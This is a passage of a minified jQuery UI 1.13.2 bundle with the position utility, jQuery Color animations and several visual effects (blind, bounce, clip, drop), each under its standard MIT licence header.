(function(){function c(n,t,i){return[parseFloat(n[0])*(h.test(n[0])?t/100:1),parseFloat(n[1])*(h.test(n[1])?i/100:1)]}function r(t,i){return parseInt(n.css(t,i),10)||0}function l(n){return n!=null&&n===n.window}function v(n){var t=n[0];return t.nodeType===9?{width:n.width(),height:n.height(),offset:{top:0,left:0}}:l(t)?{width:n.width(),height:n.height(),offset:{top:n.scrollTop(),left:n.scrollLeft()}}:t.preventDefault?{width:0,height:0,offset:{top:t.pageY,left:t.pageX}}:{width:n.outerWidth(),height:n.outerHeight(),offset:n.offset()}}var u,i=Math.max,t=Math.abs,f=/left|center|right/,e=/top|center|bottom/,o=/[\+\-]\d+(\.[\d]+)?%?/,s=/^\w+/,h=/%$/,a=n.fn.position;n.position={scrollbarWidth:function(){if(u!==undefined)return u;var r,i,t=n("<div style='display:block;position:absolute;width:200px;height:200px;overflow:hidden;'><div style='height:300px;width:auto;'><\/div><\/div>"),f=t.children()[0];return n("body").append(t),r=f.offsetWidth,t.css("overflow","scroll"),i=f.offsetWidth,r===i&&(i=t[0].clientWidth),t.remove(),u=r-i},getScrollInfo:function(t){var i=t.isWindow||t.isDocument?"":t.element.css("overflow-x"),r=t.isWindow||t.isDocument?"":t.element.css("overflow-y"),u=i==="scroll"||i==="auto"&&t.width<t.element[0].scrollWidth,f=r==="scroll"||r==="auto"&&t.height<t.element[0].scrollHeight;return{width:f?n.position.scrollbarWidth():0,height:u?n.position.scrollbarWidth():0}},getWithinInfo:function(t){var i=n(t||window),r=l(i[0]),u=!!i[0]&&i[0].nodeType===9,f=!r&&!u;return{element:i,isWindow:r,isDocument:u,offset:f?n(t).offset():{left:0,top:0},scrollLeft:i.scrollLeft(),scrollTop:i.scrollTop(),width:i.outerWidth(),height:i.outerHeight()}}};n.fn.position=function(u){if(!u||!u.of)return a.apply(this,arguments);u=n.extend({},u);var w,h,l,p,y,k,d=typeof u.of=="string"?n(document).find(u.of):n(u.of),nt=n.position.getWithinInfo(u.within),tt=n.position.getScrollInfo(nt),b=(u.collision||"flip").split(" "),g={};return k=v(d),d[0].preventDefault&&(u.at="left top"),h=k.width,l=k.height,p=k.offset,y=n.extend({},p),n.each(["my","at"],function(){var n=(u[this]||"").split(" "),t,i;n.length===1&&(n=f.test(n[0])?n.concat(["center"]):e.test(n[0])?["center"].concat(n):["center","center"]);n[0]=f.test(n[0])?n[0]:"center";n[1]=e.test(n[1])?n[1]:"center";t=o.exec(n[0]);i=o.exec(n[1]);g[this]=[t?t[0]:0,i?i[0]:0];u[this]=[s.exec(n[0])[0],s.exec(n[1])[0]]}),b.length===1&&(b[1]=b[0]),u.at[0]==="right"?y.left+=h:u.at[0]==="center"&&(y.left+=h/2),u.at[1]==="bottom"?y.top+=l:u.at[1]==="center"&&(y.top+=l/2),w=c(g.at,h,l),y.left+=w[0],y.top+=w[1],this.each(function(){var v,k,e=n(this),o=e.outerWidth(),s=e.outerHeight(),it=r(this,"marginLeft"),rt=r(this,"marginTop"),ut=o+it+r(this,"marginRight")+tt.width,ft=s+rt+r(this,"marginBottom")+tt.height,f=n.extend({},y),a=c(g.my,e.outerWidth(),e.outerHeight());u.my[0]==="right"?f.left-=o:u.my[0]==="center"&&(f.left-=o/2);u.my[1]==="bottom"?f.top-=s:u.my[1]==="center"&&(f.top-=s/2);f.left+=a[0];f.top+=a[1];v={marginLeft:it,marginTop:rt};n.each(["left","top"],function(t,i){n.ui.position[b[t]]&&n.ui.position[b[t]][i](f,{targetWidth:h,targetHeight:l,elemWidth:o,elemHeight:s,collisionPosition:v,collisionWidth:ut,collisionHeight:ft,offset:[w[0]+a[0],w[1]+a[1]],my:u.my,at:u.at,within:nt,elem:e})});u.using&&(k=function(n){var r=p.left-f.left,v=r+h-o,c=p.top-f.top,y=c+l-s,a={target:{element:d,left:p.left,top:p.top,width:h,height:l},element:{element:e,left:f.left,top:f.top,width:o,height:s},horizontal:v<0?"left":r>0?"right":"center",vertical:y<0?"top":c>0?"bottom":"middle"};h<o&&t(r+v)<h&&(a.horizontal="center");l<s&&t(c+y)<l&&(a.vertical="middle");a.important=i(t(r),t(v))>i(t(c),t(y))?"horizontal":"vertical";u.using.call(this,n,a)});e.offset(n.extend(f,{using:k}))})};n.ui.position={fit:{left:function(n,t){var e=t.within,u=e.isWindow?e.scrollLeft:e.offset.left,o=e.width,s=n.left-t.collisionPosition.marginLeft,r=u-s,f=s+t.collisionWidth-o-u,h;t.collisionWidth>o?r>0&&f<=0?(h=n.left+r+t.collisionWidth-o-u,n.left+=r-h):n.left=f>0&&r<=0?u:r>f?u+o-t.collisionWidth:u:r>0?n.left+=r:f>0?n.left-=f:n.left=i(n.left-s,n.left)},top:function(n,t){var o=t.within,u=o.isWindow?o.scrollTop:o.offset.top,e=t.within.height,s=n.top-t.collisionPosition.marginTop,r=u-s,f=s+t.collisionHeight-e-u,h;t.collisionHeight>e?r>0&&f<=0?(h=n.top+r+t.collisionHeight-e-u,n.top+=r-h):n.top=f>0&&r<=0?u:r>f?u+e-t.collisionHeight:u:r>0?n.top+=r:f>0?n.top-=f:n.top=i(n.top-s,n.top)}},flip:{left:function(n,i){var r=i.within,y=r.offset.left+r.scrollLeft,c=r.width,o=r.isWindow?r.scrollLeft:r.offset.left,l=n.left-i.collisionPosition.marginLeft,a=l-o,v=l+i.collisionWidth-c-o,u=i.my[0]==="left"?-i.elemWidth:i.my[0]==="right"?i.elemWidth:0,f=i.at[0]==="left"?i.targetWidth:i.at[0]==="right"?-i.targetWidth:0,e=-2*i.offset[0],s,h;a<0?(s=n.left+u+f+e+i.collisionWidth-c-y,(s<0||s<t(a))&&(n.left+=u+f+e)):v>0&&(h=n.left-i.collisionPosition.marginLeft+u+f+e-o,(h>0||t(h)<v)&&(n.left+=u+f+e))},top:function(n,i){var r=i.within,y=r.offset.top+r.scrollTop,c=r.height,o=r.isWindow?r.scrollTop:r.offset.top,l=n.top-i.collisionPosition.marginTop,a=l-o,v=l+i.collisionHeight-c-o,p=i.my[1]==="top",u=p?-i.elemHeight:i.my[1]==="bottom"?i.elemHeight:0,f=i.at[1]==="top"?i.targetHeight:i.at[1]==="bottom"?-i.targetHeight:0,e=-2*i.offset[1],s,h;a<0?(h=n.top+u+f+e+i.collisionHeight-c-y,(h<0||h<t(a))&&(n.top+=u+f+e)):v>0&&(s=n.top-i.collisionPosition.marginTop+u+f+e-o,(s>0||t(s)<v)&&(n.top+=u+f+e))}},flipfit:{left:function(){n.ui.position.flip.left.apply(this,arguments);n.ui.position.fit.left.apply(this,arguments)},top:function(){n.ui.position.flip.top.apply(this,arguments);n.ui.position.fit.top.apply(this,arguments)}}}})();at=n.ui.position;
/*!
 * jQuery UI :data 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
vt=n.extend(n.expr.pseudos,{data:n.expr.createPseudo?n.expr.createPseudo(function(t){return function(i){return!!n.data(i,t)}}):function(t,i,r){return!!n.data(t,r[3])}});
/*!
 * jQuery UI Disable Selection 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
yt=n.fn.extend({disableSelection:function(){var n="onselectstart"in document.createElement("div")?"selectstart":"mousedown";return function(){return this.on(n+".ui-disableSelection",function(n){n.preventDefault()})}}(),enableSelection:function(){return this.off(".ui-disableSelection")}});i=n;
/*!
 * jQuery Color Animations v2.2.0
 * https://github.com/jquery/jquery-color
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 *
 * Date: Sun May 10 09:02:36 2020 +0200
 */
var v={},pt=v.toString,wt=/^([\-+])=\s*(\d+\.?\d*)/,bt=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(n){return[n[1],n[2],n[3],n[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(n){return[n[1]*2.55,n[2]*2.55,n[3]*2.55,n[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})?/,parse:function(n){return[parseInt(n[1],16),parseInt(n[2],16),parseInt(n[3],16),n[4]?(parseInt(n[4],16)/255).toFixed(2):1]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])([a-f0-9])?/,parse:function(n){return[parseInt(n[1]+n[1],16),parseInt(n[2]+n[2],16),parseInt(n[3]+n[3],16),n[4]?(parseInt(n[4]+n[4],16)/255).toFixed(2):1]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(n){return[n[1],n[2]/100,n[3]/100,n[4]]}}],t=i.Color=function(n,t,r,u){return new i.Color.fn.parse(n,t,r,u)},u={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},d={byte:{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},g=t.support={},nt=i("<p>")[0],h,r=i.each;nt.style.cssText="background-color:rgba(1,1,1,.5)";g.rgba=nt.style.backgroundColor.indexOf("rgba")>-1;r(u,function(n,t){t.cache="_"+n;t.props.alpha={idx:3,type:"percent",def:1}});i.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(n,t){v["[object "+t+"]"]=t.toLowerCase()});t.fn=i.extend(t.prototype,{parse:function(n,f,e,s){if(n===undefined)return this._rgba=[null,null,null,null],this;(n.jquery||n.nodeType)&&(n=i(n).css(f),f=undefined);var l=this,a=o(n),v=this._rgba=[];return(f!==undefined&&(n=[n,f,e,s],a="array"),a==="string")?this.parse(tt(n)||h._default):a==="array"?(r(u.rgba.props,function(t,i){v[i.idx]=c(n[i.idx],i)}),this):a==="object"?(n instanceof t?r(u,function(t,i){n[i.cache]&&(l[i.cache]=n[i.cache].slice())}):r(u,function(t,u){var f=u.cache;r(u.props,function(t,i){if(!l[f]&&u.to){if(t==="alpha"||n[t]==null)return;l[f]=u.to(l._rgba)}l[f][i.idx]=c(n[t],i,!0)});l[f]&&i.inArray(null,l[f].slice(0,3))<0&&(l[f][3]==null&&(l[f][3]=1),u.from&&(l._rgba=u.from(l[f])))}),this):void 0},is:function(n){var e=t(n),i=!0,f=this;return r(u,function(n,t){var o,u=e[t.cache];return u&&(o=f[t.cache]||t.to&&t.to(f._rgba)||[],r(t.props,function(n,t){if(u[t.idx]!=null)return i=u[t.idx]===o[t.idx]})),i}),i},_space:function(){var n=[],t=this;return r(u,function(i,r){t[r.cache]&&n.push(i)}),n.pop()},transition:function(n,i){var f=t(n),s=f._space(),e=u[s],h=this.alpha()===0?t("transparent"):this,l=h[e.cache]||e.to(h._rgba),o=l.slice();return f=f[e.cache],r(e.props,function(n,t){var s=t.idx,r=l[s],u=f[s],e=d[t.type]||{};u!==null&&(r===null?o[s]=u:(e.mod&&(u-r>e.mod/2?r+=e.mod:r-u>e.mod/2&&(r-=e.mod)),o[s]=c((u-r)*i+r,t)))}),this[s](o)},blend:function(n){if(this._rgba[3]===1)return this;var r=this._rgba.slice(),u=r.pop(),f=t(n)._rgba;return t(i.map(r,function(n,t){return(1-u)*f[t]+u*n}))},toRgbaString:function(){var t="rgba(",n=i.map(this._rgba,function(n,t){return n!=null?n:t>2?1:0});return n[3]===1&&(n.pop(),t="rgb("),t+n.join()+")"},toHslaString:function(){var t="hsla(",n=i.map(this.hsla(),function(n,t){return n==null&&(n=t>2?1:0),t&&t<3&&(n=Math.round(n*100)+"%"),n});return n[3]===1&&(n.pop(),t="hsl("),t+n.join()+")"},toHexString:function(n){var t=this._rgba.slice(),r=t.pop();return n&&t.push(~~(r*255)),"#"+i.map(t,function(n){return n=(n||0).toString(16),n.length===1?"0"+n:n}).join("")},toString:function(){return this._rgba[3]===0?"transparent":this.toRgbaString()}});t.fn.parse.prototype=t.fn;u.hsla.to=function(n){if(n[0]==null||n[1]==null||n[2]==null)return[null,null,null,n[3]];var i=n[0]/255,r=n[1]/255,f=n[2]/255,s=n[3],u=Math.max(i,r,f),e=Math.min(i,r,f),t=u-e,o=u+e,h=o*.5,c,l;return c=e===u?0:i===u?60*(r-f)/t+360:r===u?60*(f-i)/t+120:60*(i-r)/t+240,l=t===0?0:h<=.5?t/o:t/(2-o),[Math.round(c)%360,l,h,s==null?1:s]};u.hsla.from=function(n){if(n[0]==null||n[1]==null||n[2]==null)return[null,null,null,n[3]];var r=n[0]/360,u=n[1],t=n[2],e=n[3],i=t<=.5?t*(1+u):t+u-t*u,f=2*t-i;return[Math.round(y(f,i,r+1/3)*255),Math.round(y(f,i,r)*255),Math.round(y(f,i,r-1/3)*255),e]};r(u,function(n,i){var f=i.props,u=i.cache,e=i.to,s=i.from;t.fn[n]=function(n){if(e&&!this[u]&&(this[u]=e(this._rgba)),n===undefined)return this[u].slice();var h,l=o(n),a=l==="array"||l==="object"?n:arguments,i=this[u].slice();return r(f,function(n,t){var r=a[l==="object"?n:t.idx];r==null&&(r=i[t.idx]);i[t.idx]=c(r,t)}),s?(h=t(s(i)),h[u]=i,h):t(i)};r(f,function(i,r){t.fn[i]||(t.fn[i]=function(t){var u,f,e,h,s=o(t);return(h=i==="alpha"?this._hsla?"hsla":"rgba":n,u=this[h](),f=u[r.idx],s==="undefined")?f:(s==="function"&&(t=t.call(this,f),s=o(t)),t==null&&r.empty)?this:(s==="string"&&(e=wt.exec(t),e&&(t=f+parseFloat(e[2])*(e[1]==="+"?1:-1))),u[r.idx]=t,this[h](u))})})});t.hook=function(n){var u=n.split(" ");r(u,function(n,r){i.cssHooks[r]={set:function(n,u){var s,f,e="";if(u!=="transparent"&&(o(u)!=="string"||(s=tt(u)))){if(u=t(s||u),!g.rgba&&u._rgba[3]!==1){for(f=r==="backgroundColor"?n.parentNode:n;(e===""||e==="transparent")&&f&&f.style;)try{e=i.css(f,"backgroundColor");f=f.parentNode}catch(h){}u=u.blend(e&&e!=="transparent"?e:"_default")}u=u.toRgbaString()}try{n.style[r]=u}catch(h){}}};i.fx.step[r]=function(n){n.colorInit||(n.start=t(n.elem,r),n.end=t(n.end),n.colorInit=!0);i.cssHooks[r].set(n.elem,n.start.transition(n.end,n.pos))}})};t.hook("backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor");i.cssHooks.borderColor={expand:function(n){var t={};return r(["Top","Right","Bottom","Left"],function(i,r){t["border"+r+"Color"]=n}),t}};h=i.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"};
/*!
 * jQuery UI Effects 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
var l="ui-effects-",p="ui-effects-style",w="ui-effects-animated";n.effects={effect:{}},function(){function f(n){return n.replace(/-([\da-z])/gi,function(n,t){return t.toUpperCase()})}function t(n){var i,r,t=n.ownerDocument.defaultView?n.ownerDocument.defaultView.getComputedStyle(n,null):n.currentStyle,u={};if(t&&t.length&&t[0]&&t[t[0]])for(r=t.length;r--;)i=t[r],typeof t[i]=="string"&&(u[f(i)]=t[i]);else for(i in t)typeof t[i]=="string"&&(u[i]=t[i]);return u}function e(t,i){var e={},r,f;for(r in i)f=i[r],t[r]!==f&&(u[r]||(n.fx.step[r]||!isNaN(parseFloat(f)))&&(e[r]=f));return e}var r=["add","remove","toggle"],u={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};n.each(["borderLeftStyle","borderRightStyle","borderBottomStyle","borderTopStyle"],function(t,r){n.fx.step[r]=function(n){(n.end==="none"||n.setAttr)&&(n.pos!==1||n.setAttr)||(i.style(n.elem,r,n.end),n.setAttr=!0)}});n.fn.addBack||(n.fn.addBack=function(n){return this.add(n==null?this.prevObject:this.prevObject.filter(n))});n.effects.animateClass=function(i,u,f,o){var s=n.speed(u,f,o);return this.queue(function(){var f=n(this),h=f.attr("class")||"",o,u=s.children?f.find("*").addBack():f;u=u.map(function(){var i=n(this);return{el:i,start:t(this)}});o=function(){n.each(r,function(n,t){i[t]&&f[t+"Class"](i[t])})};o();u=u.map(function(){return this.end=t(this.el[0]),this.diff=e(this.start,this.end),this});f.attr("class",h);u=u.map(function(){var i=this,t=n.Deferred(),r=n.extend({},s,{queue:!1,complete:function(){t.resolve(i)}});return this.el.animate(this.diff,r),t.promise()});n.when.apply(n,u.get()).done(function(){o();n.each(arguments,function(){var t=this.el;n.each(this.diff,function(n){t.css(n,"")})});s.complete.call(f[0])})})};n.fn.extend({addClass:function(t){return function(i,r,u,f){return r?n.effects.animateClass.call(this,{add:i},r,u,f):t.apply(this,arguments)}}(n.fn.addClass),removeClass:function(t){return function(i,r,u,f){return arguments.length>1?n.effects.animateClass.call(this,{remove:i},r,u,f):t.apply(this,arguments)}}(n.fn.removeClass),toggleClass:function(t){return function(i,r,u,f,e){return typeof r=="boolean"||r===undefined?u?n.effects.animateClass.call(this,r?{add:i}:{remove:i},u,f,e):t.apply(this,arguments):n.effects.animateClass.call(this,{toggle:i},r,u,f)}}(n.fn.toggleClass),switchClass:function(t,i,r,u,f){return n.effects.animateClass.call(this,{add:i,remove:t},r,u,f)}})}(),function(){function t(t,i,r,u){return n.isPlainObject(t)&&(i=t,t=t.effect),t={effect:t},i==null&&(i={}),typeof i=="function"&&(u=i,r=null,i={}),(typeof i=="number"||n.fx.speeds[i])&&(u=r,r=i,i={}),typeof r=="function"&&(u=r,r=null),i&&n.extend(t,i),r=r||i.duration,t.duration=n.fx.off?0:typeof r=="number"?r:r in n.fx.speeds?n.fx.speeds[r]:n.fx.speeds._default,t.complete=u||i.complete,t}function i(t){return!t||typeof t=="number"||n.fx.speeds[t]?!0:typeof t=="string"&&!n.effects.effect[t]?!0:typeof t=="function"?!0:typeof t=="object"&&!t.effect?!0:!1}function r(n,t){var r=t.outerWidth(),u=t.outerHeight(),i=/^rect\((-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto),?\s*(-?\d*\.?\d*px|-?\d+%|auto)\)$/.exec(n)||["",0,r,u,0];return{top:parseFloat(i[1])||0,right:i[2]==="auto"?r:parseFloat(i[2]),bottom:i[3]==="auto"?u:parseFloat(i[3]),left:parseFloat(i[4])||0}}n.expr&&n.expr.pseudos&&n.expr.pseudos.animated&&(n.expr.pseudos.animated=function(t){return function(i){return!!n(i).data(w)||t(i)}}(n.expr.pseudos.animated));n.uiBackCompat!==!1&&n.extend(n.effects,{save:function(n,t){for(var i=0,r=t.length;i<r;i++)t[i]!==null&&n.data(l+t[i],n[0].style[t[i]])},restore:function(n,t){for(var r,i=0,u=t.length;i<u;i++)t[i]!==null&&(r=n.data(l+t[i]),n.css(t[i],r))},setMode:function(n,t){return t==="toggle"&&(t=n.is(":hidden")?"show":"hide"),t},createWrapper:function(t){if(t.parent().is(".ui-effects-wrapper"))return t.parent();var i={width:t.outerWidth(!0),height:t.outerHeight(!0),float:t.css("float")},u=n("<div><\/div>").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),f={width:t.width(),height:t.height()},r=document.activeElement;try{r.id}catch(e){r=document.body}return t.wrap(u),(t[0]===r||n.contains(t[0],r))&&n(r).trigger("focus"),u=t.parent(),t.css("position")==="static"?(u.css({position:"relative"}),t.css({position:"relative"})):(n.extend(i,{position:t.css("position"),zIndex:t.css("z-index")}),n.each(["top","left","bottom","right"],function(n,r){i[r]=t.css(r);isNaN(parseInt(i[r],10))&&(i[r]="auto")}),t.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})),t.css(f),u.css(i).show()},removeWrapper:function(t){var i=document.activeElement;return t.parent().is(".ui-effects-wrapper")&&(t.parent().replaceWith(t),(t[0]===i||n.contains(t[0],i))&&n(i).trigger("focus")),t}});n.extend(n.effects,{version:"1.13.2",define:function(t,i,r){return r||(r=i,i="effect"),n.effects.effect[t]=r,n.effects.effect[t].mode=i,r},scaledDimensions:function(n,t,i){if(t===0)return{height:0,width:0,outerHeight:0,outerWidth:0};var r=i!=="horizontal"?(t||100)/100:1,u=i!=="vertical"?(t||100)/100:1;return{height:n.height()*u,width:n.width()*r,outerHeight:n.outerHeight()*u,outerWidth:n.outerWidth()*r}},clipToBox:function(n){return{width:n.clip.right-n.clip.left,height:n.clip.bottom-n.clip.top,left:n.clip.left,top:n.clip.top}},unshift:function(n,t,i){var r=n.queue();t>1&&r.splice.apply(r,[1,0].concat(r.splice(t,i)));n.dequeue()},saveStyle:function(n){n.data(p,n[0].style.cssText)},restoreStyle:function(n){n[0].style.cssText=n.data(p)||"";n.removeData(p)},mode:function(n,t){var i=n.is(":hidden");return t==="toggle"&&(t=i?"show":"hide"),(i?t==="hide":t==="show")&&(t="none"),t},getBaseline:function(n,t){var i,r;switch(n[0]){case"top":i=0;break;case"middle":i=.5;break;case"bottom":i=1;break;default:i=n[0]/t.height}switch(n[1]){case"left":r=0;break;case"center":r=.5;break;case"right":r=1;break;default:r=n[1]/t.width}return{x:r,y:i}},createPlaceholder:function(t){var i,r=t.css("position"),u=t.position();return t.css({marginTop:t.css("marginTop"),marginBottom:t.css("marginBottom"),marginLeft:t.css("marginLeft"),marginRight:t.css("marginRight")}).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()),/^(static|relative)/.test(r)&&(r="absolute",i=n("<"+t[0].nodeName+">").insertAfter(t).css({display:/^(inline|ruby)/.test(t.css("display"))?"inline-block":"block",visibility:"hidden",marginTop:t.css("marginTop"),marginBottom:t.css("marginBottom"),marginLeft:t.css("marginLeft"),marginRight:t.css("marginRight"),float:t.css("float")}).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).addClass("ui-effects-placeholder"),t.data(l+"placeholder",i)),t.css({position:r,left:u.left,top:u.top}),i},removePlaceholder:function(n){var t=l+"placeholder",i=n.data(t);i&&(i.remove(),n.removeData(t))},cleanUp:function(t){n.effects.restoreStyle(t);n.effects.removePlaceholder(t)},setTransition:function(t,i,r,u){return u=u||{},n.each(i,function(n,i){var f=t.cssUnit(i);f[0]>0&&(u[i]=f[0]*r+f[1])}),u}});n.fn.extend({effect:function(){function l(t){function c(){o.removeData(w);n.effects.cleanUp(o);i.mode==="hide"&&o.hide();s()}function s(){typeof f=="function"&&f.call(o[0]);typeof t=="function"&&t()}var o=n(this);i.mode=h.shift();n.uiBackCompat===!1||u?i.mode==="none"?(o[r](),s()):e.call(o[0],i,c):(o.is(":hidden")?r==="hide":r==="show")?(o[r](),s()):e.call(o[0],i,s)}var i=t.apply(this,arguments),e=n.effects.effect[i.effect],u=e.mode,o=i.queue,s=o||"fx",f=i.complete,r=i.mode,h=[],c=function(t){var f=n(this),i=n.effects.mode(f,r)||u;f.data(w,!0);h.push(i);u&&(i==="show"||i===u&&i==="hide")&&f.show();u&&i==="none"||n.effects.saveStyle(f);typeof t=="function"&&t()};return n.fx.off||!e?r?this[r](i.duration,f):this.each(function(){f&&f.call(this)}):o===!1?this.each(c).each(l):this.queue(s,c).queue(s,l)},show:function(n){return function(r){if(i(r))return n.apply(this,arguments);var u=t.apply(this,arguments);return u.mode="show",this.effect.call(this,u)}}(n.fn.show),hide:function(n){return function(r){if(i(r))return n.apply(this,arguments);var u=t.apply(this,arguments);return u.mode="hide",this.effect.call(this,u)}}(n.fn.hide),toggle:function(n){return function(r){if(i(r)||typeof r=="boolean")return n.apply(this,arguments);var u=t.apply(this,arguments);return u.mode="toggle",this.effect.call(this,u)}}(n.fn.toggle),cssUnit:function(t){var i=this.css(t),r=[];return n.each(["em","px","%","pt"],function(n,t){i.indexOf(t)>0&&(r=[parseFloat(i),t])}),r},cssClip:function(n){return n?this.css("clip","rect("+n.top+"px "+n.right+"px "+n.bottom+"px "+n.left+"px)"):r(this.css("clip"),this)},transfer:function(t,i){var u=n(this),r=n(t.to),f=r.css("position")==="fixed",e=n("body"),o=f?e.scrollTop():0,s=f?e.scrollLeft():0,h=r.offset(),a={top:h.top-o,left:h.left-s,height:r.innerHeight(),width:r.innerWidth()},c=u.offset(),l=n("<div class='ui-effects-transfer'><\/div>");l.appendTo("body").addClass(t.className).css({top:c.top-o,left:c.left-s,height:u.innerHeight(),width:u.innerWidth(),position:f?"fixed":"absolute"}).animate(a,t.duration,t.easing,function(){l.remove();typeof i=="function"&&i()})}});n.fx.step.clip=function(t){t.clipInit||(t.start=n(t.elem).cssClip(),typeof t.end=="string"&&(t.end=r(t.end,t.elem)),t.clipInit=!0);n(t.elem).cssClip({top:t.pos*(t.end.top-t.start.top)+t.start.top,right:t.pos*(t.end.right-t.start.right)+t.start.right,bottom:t.pos*(t.end.bottom-t.start.bottom)+t.start.bottom,left:t.pos*(t.end.left-t.start.left)+t.start.left})}}(),function(){var t={};n.each(["Quad","Cubic","Quart","Quint","Expo"],function(n,i){t[i]=function(t){return Math.pow(t,n+2)}});n.extend(t,{Sine:function(n){return 1-Math.cos(n*Math.PI/2)},Circ:function(n){return 1-Math.sqrt(1-n*n)},Elastic:function(n){return n===0||n===1?n:-Math.pow(2,8*(n-1))*Math.sin(((n-1)*80-7.5)*Math.PI/15)},Back:function(n){return n*n*(3*n-2)},Bounce:function(n){for(var t,i=4;n<((t=Math.pow(2,--i))-1)/11;);return 1/Math.pow(4,3-i)-7.5625*Math.pow((t*3-2)/22-n,2)}});n.each(t,function(t,i){n.easing["easeIn"+t]=i;n.easing["easeOut"+t]=function(n){return 1-i(1-n)};n.easing["easeInOut"+t]=function(n){return n<.5?i(n*2)/2:1-i(n*-2+2)/2}})}();b=n.effects;
/*!
 * jQuery UI Effects Blind 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
kt=n.effects.define("blind","hide",function(t,i){var e={up:["bottom","top"],vertical:["bottom","top"],down:["top","bottom"],left:["right","left"],horizontal:["right","left"],right:["left","right"]},u=n(this),o=t.direction||"up",s=u.cssClip(),r={clip:n.extend({},s)},f=n.effects.createPlaceholder(u);r.clip[e[o][0]]=r.clip[e[o][1]];t.mode==="show"&&(u.cssClip(r.clip),f&&f.css(n.effects.clipToBox(r)),r.clip=s);f&&f.animate(n.effects.clipToBox(r),t.duration,t.easing);u.animate(r,{queue:!1,duration:t.duration,easing:t.easing,complete:i})});
/*!
 * jQuery UI Effects Bounce 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
dt=n.effects.define("bounce",function(t,i){var e,o,a,u=n(this),p=t.mode,s=p==="hide",w=p==="show",h=t.direction||"up",r=t.distance,v=t.times||5,b=v*2+(w||s?1:0),c=t.duration/b,l=t.easing,f=h==="up"||h==="down"?"top":"left",y=h==="up"||h==="left",k=0,d=u.queue().length;for(n.effects.createPlaceholder(u),a=u.css(f),r||(r=u[f==="top"?"outerHeight":"outerWidth"]()/3),w&&(o={opacity:1},o[f]=a,u.css("opacity",0).css(f,y?-r*2:r*2).animate(o,c,l)),s&&(r=r/Math.pow(2,v-1)),o={},o[f]=a;k<v;k++)e={},e[f]=(y?"-=":"+=")+r,u.animate(e,c,l).animate(o,c,l),r=s?r*2:r/2;s&&(e={opacity:0},e[f]=(y?"-=":"+=")+r,u.animate(e,c,l));u.queue(i);n.effects.unshift(u,d,b+1)});
/*!
 * jQuery UI Effects Clip 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
gt=n.effects.define("clip","hide",function(t,i){var r,u={},f=n(this),e=t.direction||"vertical",o=e==="both",s=o||e==="horizontal",h=o||e==="vertical";r=f.cssClip();u.clip={top:h?(r.bottom-r.top)/2:r.top,right:s?(r.right-r.left)/2:r.right,bottom:h?(r.bottom-r.top)/2:r.bottom,left:s?(r.right-r.left)/2:r.left};n.effects.createPlaceholder(f);t.mode==="show"&&(f.cssClip(u.clip),u.clip=r);f.animate(u,{queue:!1,duration:t.duration,easing:t.easing,complete:i})});
/*!
 * jQuery UI Effects Drop 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
ni=n.effects.define("drop","hide",function(t,i){var e,u=n(this),h=t.mode,c=h==="show",f=t.direction||"left",o=f==="up"||f==="down"?"top":"left",s=f==="up"||f==="left"?"-=":"+=",l=s==="+="?"-=":"+=",r={opacity:0};n.effects.createPlaceholder(u);e=t.distance||u[o==="top"?"outerHeight":"outerWidth"](!0)/2;r[o]=s+e;c&&(u.css(r),r[o]=l+e,r.opacity=1);u.animate(r,{queue:!1,duration:t.duration,easing:t.easing,complete:i})});
/*!
 * jQuery UI Effects Explode 1.13.2
 * http://jqueryui.com
 *
 * Copyright jQuery Foundation and other contributors
 * Released under the MIT license.
 * http://jquery.org/license
 */
